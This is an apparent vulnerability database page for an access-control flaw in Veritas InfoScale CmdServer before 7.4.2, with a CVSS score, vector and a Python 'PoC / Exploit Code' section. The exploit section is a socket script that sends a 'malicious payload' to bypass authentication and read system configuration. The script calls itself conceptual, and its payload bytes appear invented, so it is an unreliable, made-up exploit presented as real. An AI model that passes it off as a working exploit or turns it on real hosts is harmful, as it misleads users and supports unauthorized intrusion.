InfoScale CmdServer before 7.4.2 mishandles access control.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Veritas InfoScale CmdServer < 7.4.2
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-44926: InfoScale CmdServer Access Control Bypass
# This is a conceptual demonstration.
import socket
import sys
def send_exploit(target_ip, target_port):
try:
print(f"[*] Connecting to {target_ip}:{target_port}...")
# Establish TCP connection to the CmdServer
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
# Construct a payload that mimics a privileged request
# The specific command structure depends on the internal protocol of InfoScale
# Here we simulate a request that bypasses the access control check
payload = b"\x00\x01\x04\x00ADMIN_CMD\x00BYPASS_AUTH\x00GET_SYSTEM_CONFIG"
print("[*] Sending malicious payload...")
s.send(payload)
# Receive response from the server
response = s.recv(4096)
print("[+] Response received:")
print(response.decode(errors='ignore'))
s.close()
except Exception as e:
print(f"[-] Exploit failed: {e}")
if __name__ == "__main__":
# Replace with actual target IP and Port
TARGET_IP = "192.168.1.10"
TARGET_PORT = 8443
send_exploit(TARGET_IP, TARGET_PORT)